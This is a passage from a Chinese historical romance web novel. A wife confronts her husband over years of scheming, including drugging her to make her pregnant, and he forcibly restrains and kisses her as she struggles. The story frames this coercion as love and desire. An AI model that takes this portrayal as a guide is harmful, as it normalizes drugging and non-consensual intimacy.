“嗯。”祝吟鸾吃完了一小块糕点,颔首,她去沐浴净身。 明芽在伺候她梳洗的时候,问她今日在孟家感觉如何? 祝吟鸾闭着眼睛,脑海当中想着今日沈夫人跟她说的话不言语。 明芽以及随行的小丫鬟们,应该是没有听到沈夫人跟她说的话。 所以,并不清楚她已经把话跟沈夫人说开了。 明芽见她不吭声,又接着道,“奴婢觉得夫人似乎” “似乎什么?”祝吟鸾在这时候开口。 “似乎想要跟孟家结亲?”事关两家的声誉,事情没有正式敲定之前,明芽也说得比较隐晦,声音压得很低。 “我不知道。”祝吟鸾装傻。 “小姐您如今养着身子,这些事情的不宜多费心。”明芽是看着沈景湛还是很疼惜祝吟鸾的,虽然朝廷的事情忙碌不堪,却也从来没有忘记她。 “对了,祝家的事情,奴婢听到了一些,您想知道么?”明芽给她擦着头发问。 “什么事?” “大小姐的事情。” 祝吟鸾睁开眼看过来,明芽从旁边拿了巾帕,“大小姐胳膊拧不过大腿,还是嫁过去了,她出嫁的那一天,那个” “说下去啊。”祝吟鸾正等着下文。 明芽磕磕绊绊,“大小姐出嫁的那一天,卫家夫人噎气了。” 庞氏,她死了? 祝吟鸾的瞳孔骤缩,上一次听到有关她的消息,似乎也是明芽说的,说她似乎命不久矣,可没想到,居然真的去世了,还是在长姐出嫁的日子里。 “祝、卫两家还有往来么?”祝吟鸾问。 “好像是没有了。”明芽给她擦干净后颈上的水珠,擦了头油包起来。 “那卫夫人怎么会在长姐出嫁的日子里去世?” “或许是受到什么刺激了吧,小姐您也清楚呼,原本这祝家和卫家就是要结亲的啊。” 也的确是这样,庞氏心高气傲,多数时候很容易气急攻心。 “大小姐没有办婚宴呢。” “没有办吗?”祝吟鸾兴致缺缺。 明芽点头,“是啊,说是续弦不必大.操大办,所以选定了时日就把花轿送上门了,郭老王爷都没有过去接亲。” “还有啊,朱夫人也病倒了。” “病倒了?”没想到,祝家也出了那么多的事情。 “对,现如今祝家都没个管事的,还听说大小姐没什么陪嫁的,因为祝家周转不过来了,得在手上留存一些银钱,给大公子 寻门路说话,毕竟官司还没有解决。” 祝吟鸾不说话了。 “前些时日世子爷不让您出门,或许就是害怕祝家的缠上您,奴婢听看角门的老妈妈说,总有人在门口鬼鬼祟祟的,抓来问了,是祝家派过来的人,这件事情没有闹到前面去,所以夫人和老太太等人都不知道。” 看出祝吟鸾这些时日似乎不热衷于沈景湛了,适时适度提了他。 祝吟鸾如何感受不到她的“别有用心”,看了她一眼,没有说话。 明芽被她瞧得略微心虚,也没再说话。 等祝吟鸾从浴桶里面出来,给她擦着身子的时候才说话,“秋日里的衣裙不单薄,您只穿亵衣,还是能够看得出来身子的。” 祝吟鸾垂眸瞧去,她的小腹已经微微隆起了。 白日里,沈夫人和沈老太太都说她不显身子,实际上再也没有能够比她更有感触,她感受着肚子里的孩子一天天成长,现如今真的就快要四月了。 “小姐,您先说的那个香露,到底是怎么一回事啊?” 明芽即便是听了全程,也根本不了解究竟出了些什么事情,问姣惠,对方也说不知道。 “没什么,只是这香露有些奇怪,你仔细收着,待夫君回来我要转交给他。” 明芽让她放心。 “我有些困倦了,歇息吧。”反正今日沈景湛是不回来了。 明芽就算是想要接着说,也不好再开口了,灭了烛火,留下一盏小琉璃灯。 祝吟鸾原本只是伙闭上眼假寐,不知不觉就睡了过去。 翌日,她起来之时,明芽说宫内送来了糕粥,新鲜热腾的。 “宫里的手艺瞧着都不错,小姐您快些尝尝。”梳洗过后,明芽就已经端到了祝吟鸾的面前。 看着的确是令人食欲大开。 他既然忙,又何必顾念着她? 盯着瞧了许久,祝吟鸾还是动了银勺。 沈夫人原本是要叫祝吟鸾过去用膳,听说沈景湛从宫内给她带了,便没有派人过来叫她。 用过早膳之后,她叫祝吟鸾过去帮忙,给祝吟鸾分了一些轻巧的活,让她一道帮忙看账。 祝吟鸾没有如同前面那般看得很快,缓慢对着账目。 今儿一日都在沈夫人的院子里跟管事的媳妇们对账,从账房拨银子,不日将分发给小丫鬟们。 晚膳自然是留在沈夫人这边吃。 将来朝廷应该是动荡了,因为沈侯爷被派到了京郊大营,几日没回了。 翌日,探望老太太,过府上来的太医给老太太瞧了身子骨,又帮祝吟鸾把脉。 太医说祝吟鸾的脉象比之前更好了,看着她的气色也好了不少。 沈蔻玉的方子吃了的确有成效,在人前,祝吟鸾没提这个茬。 听到太医这么说,沈夫人和沈老太太都安心不少。 沈夫人送太医出去,沈老太太瞧着祝吟鸾,招手让她到身边坐,拉着她的手左右看了看,“不错,看着是比前几日好多了。” 主要是她的气色,看起来恢复了不少。 “多谢祖母关怀,您也要好生保重身子。”太医说沈老太太这病啊,怕是不会好了,人上了年岁,身子骨总是力不从心。 “我倒是无碍,但你放心,总能够撑到你生孩子的那一日。”沈老太太瞧了瞧祝吟鸾的肚子。 依然是瞧不出来显怀的样式,但听太医那么说,沈老太太安定不少。 她又问起祝吟鸾最近的饮食起居,祝吟鸾一一都说了。 听到她说吃了一些宫里送来的糕点和粥食,沈老太太笑,“我就说,听澜啊,总是惦记着你的。” 祝吟鸾扯唇,随着沈老太太也笑了一下。 “对了,我听老妈妈说,前儿你婆母带着你去孟家了?” “是。”祝吟鸾还由着沈老太太拉着手,对方在观察她的神色。 “你婆母的心思总是停不住。” 祝吟鸾不笨,沈夫人带着她去孟家的事情,沈老太太不可能今儿才知道,更何况两家都往来那么久了,沈夫人先前还留孟云在沈家住了一段时日。 沈老太太就算是一直在韵梅堂养病足不出户,但周边的人每日都会将沈家的事情告诉她。 所以,祝吟鸾很清楚沈老太太不是询问,而是试探她的态度。 那日在马车里,沈夫人跟她说了许多,她并没有直接表明态度,过去几日,沈夫人很有可能是着急了吧。 但又不好直接问,便由沈老太太出马。 祝吟鸾都明白,但此刻她却不会知道要接什么话,反驳吗? 思来想去,祝吟鸾只是扯唇笑了一下。 沈老太太看着她的小脸,拍拍她的手背松开她的手。 须臾之后,沈老太太问,“你是不是不同意你婆母的决断?” 祝吟鸾摇头,“没有,只是” 只是什么,只是她心里比较难过,说不上来的苦涩和压抑。 她不知道该说什么。 清楚自己该说什么,她也尝试性说了一些沈夫人想听的。 可似乎她不说到主旨上,这件事情就不会结束。 “只是什么?”沈老太太问。 祝吟鸾凝噎了一会,她摇头说没什么。 两只垂放在宽袖之下的手攥紧了。 沈老太太留意到她的动作,抬手让周围伺候的老妈妈们都下去,然后她才开口跟祝吟鸾说,“现在没有外人在,跟祖母说说,你是怎么想的?” 就算是没有外人,祝吟鸾还是无法彻底卸除心上的防备,她已经习惯了掩盖自己。 “孙媳没有什么想说的。” 沈老太太一针见血,“你不想要听澜纳了孟家的做小房是不是?” 祝吟鸾顿了一会,她的脸上许久没有反应,但藏在袖摆之下的手捏得无比厉害。 许久之后她点头,但又摇头。 沈老太太道,“跟祖母有何隐瞒的,是就是,不是就不是。” “我不知道”祝吟鸾久久沉默之下,低喃出这一句。 沈老太太看着她蹙起的眉头,无比纠结的神色。 惊觉祝吟鸾和沈景湛之间只怕是出了问题,这个问题还不小。 否则祝吟鸾的心绪不可能变成这个样子。 原本想要.插.手孟家事情的沈老太太犹豫了,她先是试探问祝吟鸾,最近是怎么了?是不是太累。 祝吟鸾说没有,她也没有跟沈老太太继续这个话茬,直接道,“婆母已经跟孙媳说过要跟孟家的结亲,也分析过利弊,孙媳都明白,也接受” 接受那还是不怎么愿意了。 沈老太太瞧着她好一会,最后还是决定不管这件事情了。 主要是她也没力气掺和。 祝吟鸾既然不愿意说,那就等着沈景湛回来哄吧。 至于孟家的,事情能不能成,那就要看造化了。 依她看,这件事情,只怕还有得闹呢。 沈景湛对祝吟鸾的偏执,沈夫人还看不出来,满心惦记着长房的开枝散叶。 “你既然心里有数,那我也不过多问你了,免得扰了你心里的主意。”沈老太太把话茬挪开。 “” 接下来几日,沈夫人一直带着祝吟鸾过孟家去。 听戏,玩牌,赏花,用膳。 两家来往比较密切,旁的世家大族都察觉到了,纷纷猜测,沈家极有可能要跟孟家的结亲。 沈景湛在京城炙手可热,即便只是纳小房,闻风而动的世家也不少,纷纷往沈家递帖子,沈夫人酌情接了一些。 在沈景湛终于归家的那一日,孟家夫人和孟云在沈家做客,除此之外,还有齐家的。 齐家的临时有事,没有留下用晚膳。 沈景湛回来的时候,方才开席。 下人说他归家了,沈夫人激动叫人快去添置碗筷,祝吟鸾浑身一顿,她放下银筷,不敢往正厅门口看去。 眼神躲避之间,瞧见了孟家小姐羞赧的神色,她在偷偷 整理自己的衣裙红妆。 孟云小姐一向清雅,今日也是如常的,并没有抹多少胭脂,但此刻的她,面颊红润,眼神时不时看过去,偷瞄身高腿长,宽肩窄腰的天子近臣,沈家世子。 祝吟鸾出神看着对方。 她听到沈景湛说话的声音和脚步声在逼近,还是不敢往门口瞧去,走神期间,忙碌已久的俊美男人净了手,大步流星走到她的身侧坐下。 清冽的气息萦绕而来,旁侧的身影令她难以忽视,祝吟鸾的心越发紧张起来。 她诡异的发现,这么多日过去,她对沈景湛的恐惧和害怕居然消散得差不多了。 此刻,他坐于她的身侧,温柔叫她鸾儿,听到他温柔的声音,她竟然有些鼻酸想哭,心里又涩又堵。 她始终没有看向沈景湛,避开男人炙热的目光,她快声道,“夫君回来了,你也饿了吧,正好一道用膳。” “我今日回得匆忙,没派人来给鸾儿传话,鸾儿不要生气。”他温声细语同她解释。 祝吟鸾越发觉得得知的那些事情就好似一场梦,哪里能够想得到,居然是这样温润如玉的沈景湛谋划出来的。 到底是在人前,祝吟鸾总算是抬头瞧了他一眼,“…没事。” 即便是提前做了心理准备,但在瞧见男人如画的眉目,深邃幽暗含着笑意的眼眸之时,她还是忍不住心跳加速。 “鸾儿没生气就好。”沈景湛轻笑,旁若无人般伸手碰了碰她的发鬓。 祝吟鸾想躲,想到在人前,生生忍住。 沈景湛见她不躲,眸中笑意加深,他接手旁边的小丫鬟的活,照拂着她,给她添汤。 孟夫人见状,笑道,“沈世子真是疼惜少夫人啊” 第82章 第82章“用点力。” 适才沈景湛过来之时已经跟孟家夫人见了礼数。 孟夫人先前还是用京城世家公子的打量他,现如今完全是把他当成了自家的女婿。 毕竟沈夫人那边的门路也走通了,沈侯爷和沈老太太也不曾阻止,这门亲事必然是板上钉钉的。 他对祝吟鸾如此疼惜,将来对她的女儿定然也是不错的。 有这样出色的女婿,何曾不是往脸上添了荣光? 所以,即便是做小房,孟夫人也觉得无伤大雅,更重要的是祝吟鸾面慈心软,没有背景,她的义母沈翕云说到底也是沈家的人。 将来孟云入了沈家,不也是沈家的人吗?再怎么样,沈翕云也会帮着沈家的。 除此之外,祝吟鸾整个人瞧着很是柔弱,这一胎能不能够生出来都是问题,万一呢?若是祝吟鸾一死,那孟云就可以扶正了。 所以,孟夫人觉得这是一门相当划算,对孟家有利的姻缘。 眼下看着沈景湛对祝吟鸾万般疼惜,她越是放心,就好似看见了她女儿未来跟沈景湛一般。 “夫君用膳吧。”祝吟鸾听到这句话,隔开了沈景湛的手,不叫他为她添汤夹菜。 见状,沈景湛的眼神轻飘飘看向孟夫人。 墨发银冠的男子脸上是带笑的,却莫名叫人感受到了凉意,孟夫人有种被他看穿心中打算和想法的错觉,一瞬间心虚挪开了目光。 孟云小姐却以为沈景湛看她的母亲,是留意到她们了,插.话道,“母亲,少夫人和世子爷自然是恩爱,您做什么打趣。” 沈夫人也附和着点头,孟云得了沈夫人的首肯,大着胆子,起身给沈景湛夹菜,“世子爷,听夫人说,您喜欢吃芦笋鸡,今儿这道菜不错,您尝尝?” 祝吟鸾对于孟云的献好无动于衷,她就在这里瞧着,没有表态也没有看,只是沈景湛留意到她用膳的速度放得很慢,仿佛嚼蜡。 他看着祝吟鸾,不曾搭理孟云。 对方尴尬等着,脸已经羞红了。 沈夫人轻咳一声,朝着沈景湛示意好一会,他方才看过去。 在对方冷淡无比的视线投过来的时候,孟云的脸越发红了。 这还是沈景湛头次看她,他的目光总算是落到了她的身上。 方才沈景湛进来,朝沈夫人问安,在她的介绍之下,对着她的母亲孟夫人问了一声好,除此之外,看都没有看她。 现如今总算是看过来了,怎么叫她不激动呢? “多谢孟小姐好意,只可惜我讨厌吃芦笋。” 孟云的尴尬加剧,夹着的菜放哪里都不是,“可沈夫人不是说”不是说他喜欢么? 沈景湛不说话他收回目光,完全置之不理对方的尴尬,无视沈夫人的暗示。 沈夫人心里叹了一口气,只能接下这个烂摊子,她把玉碟拿过去,“想来是我记错了,这些时日太忙了,记岔了也说不准。” 孟小姐尴尬坐下,“” 氛围一瞬间死寂,沈景湛不说话,看顾着祝吟鸾,孟夫人适才被他吓到了也不敢贸贸然开口。 沈夫人倒是想说,就害怕沈景湛不接台子,两处尴尬。 思来想去,索性就把目光投给了祝吟鸾,让她来打破尴尬的氛围。 祝吟鸾性子安静,本来就不擅长活跃气氛,偏生现如今是婆母的吩咐,就算是不想去做,也不得不去做。 她想了想,要说点什么? 沈景湛分明是喜欢吃芦笋鸡的,也不知道他为何说不喜欢了。 顿了一会,她跟孟小姐说,“夫君现如今爱好荷叶排骨汤。” 孟云勉强找到了台阶下,刚要说多谢少夫人赐教,沈景湛却在她前面劫了话,“现如今也不喜欢吃荷叶排骨汤了。” 孟小姐,“”她还能够接什么话。 此刻一句话都不好说了。 祝吟鸾看向沈景湛,她同样的无言以对,沈景湛却笑着反问她,“鸾儿想要知道我如今喜欢吃些什么吗?” 祝吟鸾不说话,沈景湛细数了一圈,说了些许菜名。 孟云还傻乎乎以为这是对方亲自递的台阶,却不料祝吟鸾身边的小丫鬟疑问道,“这不都是小姐喜欢吃的菜色吗?” 祝吟鸾在沈景湛说的时候就听出来了,只是她没有做声,偏生明芽傻乎乎地接了话,于是她忍不住瞪了明芽一眼。 明芽意识到自己不应该说话,连忙噤了声。 沈景湛却笑得很满意,他给祝吟鸾夹菜,“是,鸾儿喜欢什么,我就喜欢什么,鸾儿不喜欢的,我自然也不喜欢。” 沈夫人,“” 这氛围不如不打破,现如今大家都尴尬起来了。 晚膳用得不太愉悦,孟家母女也没有过多停留,主要是沈景湛带着祝吟鸾去给沈老太太请安了,孟夫人原本也想跟着过去,但是沈景湛说是太晚了,恐怕不好打扰。 沈家的掌权都这么说了,孟夫人只好带着孟云灰溜溜离开。 沈夫人跟在两人身侧,瞧着两人走在一处。 祝吟鸾娇小,沈景湛高大,两人的样貌都清绝,生出的孩儿绝对是好看的,只是不知是男是女。 两人都 安静。 祝吟鸾目不斜视,沈景湛的目光却始终注意着她。 他看着她,很是专注。 似乎是想要将这些时日没有留意的,全都在一瞬间给看回来,沈夫人都担心他的脖子给扭不过来,人前不收敛,人后也这样。 当真是只有祝家女受得了他。 想到孟夫人和孟小姐离开时的样子,沈夫人即便是不想说,也不得不提,“听澜。” 第一声,沈景湛还没有回应,分明祝吟鸾都看过来了。 他还是顺着祝吟鸾的动作往后看的。 仿佛后知后觉,“母亲唤儿子何事?” 沈夫人,“”他不是一向听力过人么?怎么一待在祝家女的身侧就失聪了? 沈景湛不解看着沈夫人,祝吟鸾也随之停下来,她大概知道沈夫人要说什么,沈景湛不过就是装聋作哑。 果然,沈夫人一开口就提到了孟家人,她数落沈景湛适才下了孟夫人和孟小姐的脸面,叫对方难堪。 说的时候,连带着祝吟鸾她都扫了几眼。 祝吟鸾一言不发,听着沈夫人训话。 沈景湛却在沈夫人看向祝吟鸾的时候皱了眉,他往前一站,祝吟鸾被他挡到了身侧。 “母亲说儿子就是了,瞪鸾儿是个什么意思?” 被戳破的沈夫人,“” 祝吟鸾刚要说话跳出来打圆场,他背负在身后的大掌,按住了她的手腕,祝吟鸾的声音被按了回去。 “为母哪里有瞪她?” “有没有瞪,母亲心知肚明。”沈景湛冷淡道。 话茬被转移走,沈夫人连忙扯回来,“适才你不给孟夫人孟小姐好脸又是为何?” “儿子是有妇之夫,孟小姐云英未嫁,要给她什么好脸?母亲此举若是被人传出去,孟小姐的名声还要不要了?” “再者说那孟夫人,儿子不是给笑脸了吗?” 他一番话倒是把沈夫人责问的字字句句都给堵了回去。 沈夫人要如何说她原本打定主意将孟云塞给他做小房? 看今日沈景湛的样子,怕是不成了。 关键还是要在祝吟鸾的身上。 争辩不过沈景湛,沈夫人只能噎下,“行行行,如何说你都有理,快走吧,别耽误了时辰,叫你祖母晚睡,影响身子骨。” 沈景湛总算是动作了,沈夫人却一直不得见祝吟鸾,因为她发现,沈景湛让祝吟鸾走在他的前面,高大伟岸的身形将祝吟鸾挡得一个完完全全,活脱脱就是护犊子。 沈夫人,“” 韵梅堂内,沈老太太适才吃了安神汤,早便听到了沈景湛归家,此刻见到他,很是高兴,问他朝堂的事情可还顺利?是否安好? 沈景湛说都能够应对,“多谢祖母牵挂。” 沈老太太摆手,看向一旁沉默的祝吟鸾,跟沈景湛道,“这些时日你不在家,你媳妇可是想你念着你,既然回来了,多陪陪她。” “孙儿知道了。”他看着祝吟鸾笑,眼底满是她的身影。 沈夫人的眉头却蹙了起来。 因为前些时日她跟沈老太太说了孟家进门的事情。 沈老太太一开始还说可以,帮着她试探一下祝吟鸾的主意。 可似乎不太成功,因为那日沈老太太跟祝吟鸾说了话之后,便道儿孙自有儿孙福,她就不.插.手了。 也就是不想管了。 沈老太太不管,沈侯爷也不管,沈夫人如今没有了助力,只能够将希望寄托在祝吟鸾的身上。 趁着沈老太太和沈景湛说话,钻到了空子,她低声跟祝吟鸾道不要忘记孟家的事情——让祝吟鸾去劝说沈景湛纳小房。 祝吟鸾眼睫一动,在沈夫人的逼视当中缓缓点了点头。 沈夫人总算是放心了,适才挪开视线回头就撞到了沈景湛含笑的目光,他问,“母亲跟鸾儿说什么悄悄话呢,儿子都不能听?” 沈夫人不确定他有没有听见,讪笑着说没什么。 “是吗?”沈景湛的语气分明是不信。 祝吟鸾也顺着沈夫人说没什么,沈夫人只是问她方才可吃饱了?叮嘱她要多用些饭菜。 有祝吟鸾开口,沈景湛没有再追着问。 三人没有在这边停留,原本是要一道走,沈老太太却留下了沈夫人说有事,让两人先走。 心知肚明是给两人挪空一道说话,沈夫人顺势留下了。 从韵梅堂出来到回庭院,一直都是沈景湛在关怀在问她,这些时日吃得如何,睡得怎么样? 祝吟鸾时不时回应一两句。 她的话越来越少,到达庭院之时,一句话都不肯说了。 内院寂静。 祝吟鸾深呼一口气。 沈景湛见状,问她,“鸾儿就没有什么要跟我说的吗?” 有,太多了。 不知道从何说起。 不是说,准确来说,应该是质问。 她就是不知道从何处起头问起,沈景湛究竟是怎么做到没事人一般? 姣惠难道没有告诉他香露的事情吗?对于这一点,祝吟鸾完全就是不相信。 她坐下,沉默许久之后鼓起一口气,让明芽把装有香露的盒匣给拿上来,又让明芽把周围的小丫鬟都给带下去。 此时此刻,就只剩下两人。 夜晚安静到了极致。 祝吟鸾打开之后,没有直言,而是问沈景湛,“你呢,没有什么要跟我解释的吗?” 男人就坐在她的对面,俊雅清绝的脸上未曾有一点停滞,仿佛早就猜到她会问他一般。 祝吟就一直看着他,长久的看着他。 她与他对视,祝吟鸾鼓起勇气,冷然瞧着他。 然后她发现根本就看不透沈景湛。 他的眸子实在深邃,仿佛要将她给吸进去了,危险至极。 许久之后,沈景湛总算是动了,他捏起香露的瓶子,放在手里漫不经心的观看。 虽然男人的姿态神色都很慵懒,可就是让她觉得无端危险,这就是他真正的样子么? 迷人的同时,散发着无尽的危险? “鸾儿都知道些什么了?”他总算是没有跟她装聋作哑,这句话虽然不是直接承认,但也间接承认了。 祝吟鸾反问,“你觉得呢?” “鸾儿不妨说来听听?”他让她开口。 祝吟鸾本不想被他牵着鼻子走,这件事情本来就是他理亏。 可她发现,就算是她占据上风,在跟沈景湛对峙之时,也讨不到一份好处。 他周身萦绕着令人畏惧的气势,或许已经稍加收敛,可她还是觉得畏惧。 “你让我说,你呢?”她跟他绕弯子。 “我这些时日忙碌,着实冷落了鸾儿,主要是人前不好多言语,姚家的事情棘手,死了一些大臣,绕着人命,所以没有办法抽身回来,你同我生气是应当的。” 他解释这么多,到底知不知道她要跟他说些什么? 祝吟鸾此时此刻也恼怒了,“我不是要听你说这些。” “我知道。”他笑。 “你既然知道,为何还要跟我兜圈子。” “鸾儿呢?鸾儿就没有跟我兜圈子了吗?”男人脸上的笑意消失了,他看着她。 祝吟鸾被他看得莫名其妙,她都忍不住在想,为何沈景湛要这样看着她,难不成是她做错了事情? 她有做错什么事情? 全然是因为他阳奉阴违,背着她做出那些事情,现如今当面对峙,怎么变成了她的不是? 即便是沈景湛没有说,祝吟鸾却也可以看出来,他话语之间隐隐的责备。 “我跟你兜什么圈子,难道不是你你跟我绕来绕去吗!”她实在是生气了,拔高了声音。 人证物证都摆在了眼前,他居然还在跟她顾左右而言其它,说什么这些时日朝政繁忙,就算是朝政繁忙,他也是回来了,既然都到了摊牌的时候,他做什么又要扯来扯去。 她本来不想生气,过去了这么久,祝吟鸾也的确沉下了心思,此时此刻旧事重提,她忍不住不动怒。 “孟家的事情。”男人五个字把她的怒火给堵住了。 “鸾儿就没有什么要跟我解释的?”沈景湛问。 他脸上的笑意的确是没有了,变得深沉而严肃,“鸾儿方才在祖母那地方跟母亲窃窃私语,当真是在议论有没有用饱饭?” 他在问她了。 祝吟鸾没见过他这一面,因为沈景湛一向是温润的,别说是重话,都没有对着她高声说过什么。 祝吟鸾都不清楚是不是怀孕了的缘故,还是在他的温声软语当中泡得久了,此刻听到他这样问,居然鼻尖酸得想要哭。 她难以做到像在卫家那样的冷静。 “你要说什么?”她捏紧拳头看着他。 “鸾儿是想要帮着母亲给我纳小房吗?”他问。 祝吟鸾咬唇,好一会道,“这是婆母的意思。” “那你的意思呢?”沈景湛穷追不舍,“我想要知道你的意思。” “你究竟有没有想要把我往外推给别的女人?” “你在意吗?”她反问,“你有在意过我的意思吗?” “你如果真的在意我,你为何要对我隐瞒,为何要给卫如琢下药,为何要设计骆家,卫家,祝家?” 她指控着他,“你设计骆家官位停滞不前,卫如琢屡屡高升,让长姐回心转意,又致使卫如琢身子残废,让我背黑锅。” “你知不知道那几年我是怎么过来的?”她吃了多少药,听了多少奚落,一直被人戳着脊梁骨说是不会不会下蛋的母鸡,那些话要多难听就有多难听。 想着想着,祝吟鸾的眼眶忍不住红了起来,可是她不想要在沈景湛的面前哭,所以死死抿唇咬住,眼泪倔着不肯掉出来。 孤弱又坚韧,看得人心尖发颤心软。 他对她终究是没有一点办法的。 沈景湛压下心里的醋意,伸手要将她给抱过来哄,可他的手方才伸了过去,还没有碰到她的腰肢,就被她狠狠推开。 力道大得他猝不及防,“”好似对他产生了厌恶,十分十足的厌恶。 沈景湛的脸色微微冷凝下来。 祝吟鸾却不怕他,此刻的她情绪开始失控了,憋了许久的怒火破了一个口子,源源不断释放而出。 “卫家和祝家瓦解,在我身边安放眼线,无数次的偶遇让我卸下防备,认为你是个好人,嫡母逼迫,我走投无路与你成亲,圆房之夜你又给我下药设计我身怀有孕” “一桩桩一件件你怎么可以这样设计谋划,你处心积虑,到底是要做什么?!” 她甚至开始怀疑,是不是得罪过沈景湛,他要报复她么? 可若说是报复,沈景湛每次对她都很好,每次都挡在她的前面,他并没有伤害过她,就算是在床榻之上,都对她极尽的讨好,哄着她。 唯一的凶狠便是有的时候太用力了,但这也不怪他,因为他本身就很强势,让她整个人都吃不消 所以,到底是为什么? 梦里的男子又是怎么回事?祝吟鸾觉得她快要被逼疯了,她觉得她像个傻子,蒙在鼓里,关在府里的傻子。 忍住了眼泪,眼眶却红得像一只兔子。 沈景湛看着眼前惹人怜爱的姑娘,许久之后,他道,“因为爱。” 爱? 祝吟鸾被他这句话给说懵了,良久之后,她笑出声,嗤笑。 “你这是爱吗?” 他分明是偏执病态,巧取豪夺,将她诓骗而来,哪里算得上是爱? 而且沈景湛说爱她? 她跟他素未谋面,他怎么会爱她?她出身那么低,纵然是脸生得好一些,沈景湛见过的美人如云,怎么可能会为她心动? 卫如琢说她怯弱,沉闷,无趣,呆板,木讷,根本就不会有人爱她。 所以,沈景湛爱她什么? 祝吟鸾笑着笑着,忍不住自我怀疑起来。 沈景湛一看她的神色便知道她在想什么,即便此刻她的情绪崩溃,他也还是要说,“因为我想要你,所以不得不出此下策。” “你想要我,所以这么做。” “对。”沈景湛看着她气红的眼睛和小脸。 他笑,笑得不同之前的清朗无害,反而有几分讳莫深沉。 “鸾儿冰雪聪明,许多事情并非是奉安公主告知你,而是你自己猜出来的,你想了那么多,一定肃查了前因后果,所以不知道我处心积虑最后得到了什么吗?” 他得到了她。 “你说你爱我”祝吟鸾瞧着男人清冷危险的侧脸,“你爱我什么?” “在京城大道相遇之前,我们素昧平生,你爱我什么?” 她在恢复记忆了,但不完全。 沈景湛眉心微动。 祝吟鸾直言,“事到如今,有话不如直说,何必再骗我。” 当真是变了一些,竟然都能够想到他在纠结是否陈情原委。 “很多事情,你忘了,但我没有忘记。” 祝吟鸾瞳孔骤缩,她逼问,“什么事情。” “鸾儿”他伸手要抚摸她的面颊,但是祝吟鸾不让,她躲避他的触碰。 可沈景湛没有给她第二次打开,躲避他大掌的机会。 这一次,他以前所未有的,十分强硬的力道,将祝吟鸾拉拽过来。 炙热的大掌牢牢将她的手腕给围困在其中。 她被拉到了沈景湛的怀中。 长腿夹着她的腿,他微微一拽,她便落坐到他的腿上。 祝吟鸾使劲的挣扎都是徒劳无功,她用力去掰男人捏着她手腕的大掌,可依然无法撼动他的力气分毫。 他束缚着她,看着她在他的怀中做困兽之斗。 祝吟鸾无法掰开男人的大掌,干脆心一横低下头就去咬他的手,想要叫他吃痛放开她。 可是男人眉头只是微微一皱,随后笑,甚至催促着她,“用点力。” 第83章 第83章给他一巴掌把他打爽了。 男人的语气十分的轻柔,泛着令人恼火的松泛,就好像是在逗弄她,完全不惧怕她。 祝吟鸾的怒火被瞬间点燃了,原本她还克制着自己嘴下留情,这一会实在是被激到了,用力咬了下去。 她的牙口尖锐,用的力气又大,很快就破皮渗出了血。 祝吟鸾尝到了腥甜的味道,愣了一下,她的舌尖缓缓一舔,越发感觉到仿佛生了锈般的味。 愕然的同时,她松了牙口,垂眸一看,泄愤使力之下,沈景湛的手背居然被她给咬得血肉模糊了。 渗血的牙印横成在他冷白修长的手上,看起来竟然有种诡异的肆虐的美感。 她觉得自己一定是气疯了,方才会有这样的感受。 他疼不疼与她有什么关系,听着他云淡风轻,甚至还在逗弄她,让她用点力的话有多令人牙痒痒,就合该用力咬断他的手,让他长个记性,叫他也清楚这些年她有多疼,多难受。 但是,她也痛恨自己的心软,因为在看到沈景湛流着鲜血的手掌之时,她下不去第二次嘴了。 不敢咬归不敢咬,祝吟鸾心里的气可是没有消,更何况沈景湛没有给她一个合理的解释。 既然他不想说,她也不想在这里停留,情绪失控的样子不好看,她也不想受人束缚在怀中,于是继续去掰他的手,刻意掐着他的痛处,想让他就此放开。 沈景湛在她的用力捏掐之下,的确是松开了攥着她腕子的手掌。 可他并没有松开她,反而是抬捏着她的下巴,目光深深看着她沾染他血迹的唇瓣,没有丝毫的犹豫和停顿,低头吻了下来。 祝吟鸾自然是拼命的挣扎不叫他碰触。 可沈景湛却像是无比熟悉她的招数,将她的两只手捏着手腕 反剪到了身后,凶猛异常吻着她。 他舔.舐.着她的唇瓣,沾染在祝吟鸾唇瓣之上的血迹化在了两人.交.碰的唇齿之间。 祝吟鸾越发尝到甜腥的味道,她有些抗拒,将他闯入的舌往外推开。 但是她的力道跟沈景湛的比起来实在是太微不足道了。 完全无法造成威胁,反而更像是欲拒还迎。 他躲避着她的推拒,将她的抗拒化解为迎合,总之,祝吟鸾完全没有办法从他的亲吻当抽身脱离。 沈景湛今日露出了温润皮相之下的底色,隐隐约约跟她梦中的男人进行了重合。 他从来没有这样凶猛地吻过她,欺负她。 往前两人也有过亲吻,但他的吻中始终含着几分克制,从来没有这样搅弄她的唇舌。 好像要尝尽她的芬芳甜美,将她整个人生吞活剥,唇齿之间的腥甜,卷带出不死不休的错觉。 祝吟鸾觉得她应该是怕的,就像是刚得知沈景湛真面目的那般怕,可她不仅没有害怕,就连她的怒气也在沈景湛的强.猛.亲吻悄然化解,生出一股无比熟悉的丝丝燥热。 祝吟鸾发现她的身子骨在沈景湛的猛攻之下,居然变得越发柔软,实在是忍不住唾弃她自己了。 不知从何时起,她竟然变成了这样。 她对沈景湛的怨恨呢? 他对她的那些欺瞒,让她受的委屈和担惊受怕,难道就要在这个久违的饱含欺负的强吻当中被化解吗? 在这一刻,她生出了无尽的愠怒。 这怒既是对她自己,也是对沈景湛,于是祝吟鸾剧烈的挣扎,她意识到根本不能够凭借蛮力挣脱沈景湛之后,便开始另辟蹊跷。 心一横,用力咬在了沈景湛的唇舌之上。 咬的力气非常大。 这唇舌又非手掌那般宽大厚实,即便是被她的尖牙给咬个对穿都不碍事,舌头真要是被她咬掉了,那可一辈子都说不出话来,也亲不了她了。 沈景湛不得不停下来,可没想到方才停下,一阵柔软香风席卷而过,他尚且沉浸在清浅的香味当中,脸上就挨了一个响亮的巴掌。 祝吟鸾几乎是用尽了全身的力气挥打而去,她本来不抱希望能够打到沈景湛,毕竟他那么厉害,她的招数他不可能猜不出来。 却没想到,居然真的打到了。 他被她打得微微侧了脸,冷白俊美的脸上浮现隐隐约约的红痕巴掌印子。 祝吟鸾的掌心疼到发麻,她瞪看着他滞住的动作。 空气死寂一般的安静。 祝吟鸾的呼吸没有平稳,整个人在寂静的夜里大喘气。 她用了许久都难以平复下来她的呼吸声,勉强克制以后,方才缓和。 回过神之后,她也觉得自己疯了。 她居然掌掴了沈景湛,还打得无比响亮。 虽说沈景湛做得很过分,一直欺负她,但是这一巴掌说实话,她也不知道怎么的,居然就这样挥了出去。 过了好一会,她的掌心还在泛疼。 男人脸上的指印也浮现得越发明显,任由谁来看,都可以瞧得出来他适才是被人给打了。 这样下脸面的事情,祝吟鸾也不敢保证沈景湛会如何,也打回来么?亦或者在床榻之上狠狠欺负回来? 